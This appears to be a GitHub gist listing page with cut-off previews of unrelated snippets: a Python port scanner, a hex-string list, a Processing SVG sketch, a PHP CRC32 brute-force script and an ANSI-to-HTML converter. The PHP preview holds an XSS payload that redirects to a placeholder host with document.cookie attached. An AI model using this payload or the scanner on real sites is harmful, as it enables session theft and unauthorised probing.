This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json, socket | |
print('Loading function') | |
def portScan(ip,ports) : | |
r = [] | |
for p in ports : | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
socket.setdefaulttimeout(1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
abaca7e | |
abaca7e5 | |
abac1a15 | |
abac1a1 | |
abac0 | |
abac05 | |
abade | |
abade5 | |
abade55a | |
abade55a5 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import processing.svg.*; | |
void setup() { | |
size(1000,1000); | |
float p = random(0,500); | |
float n = random(0,500/10); | |
background(255); | |
beginRecord(SVG,"shell.svg"); | |
for (var i = 0; i < 500+200; i += 3.5) { | |
noFill(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ini_set('memory_limit', '-1'); | |
$hash = '3e09eb42'; | |
$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; | |
$prefix = '<script nonce="3e09eb42">window.location="https://url/b?"+document.cookie</script>'; | |
$charset_length = strlen($charset); | |
function check_hash($string, $hash) { | |
return hash('crc32b', $string) === $hash; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import re | |
def ansi_to_html_custom_tags(text): | |
# Define the mapping from ANSI codes to custom HTML tags | |
ansi_to_html_map = { | |
'\x1b[0m': '<g1>', # Reset to default, removing the closing tag | |
'\x1b[1;30m': '<g2>', # Gray2 | |
'\x1b[1;47m': '<ww>', # White | |
'\x1b[37;47m': '<ww>', # White |
OlderNewer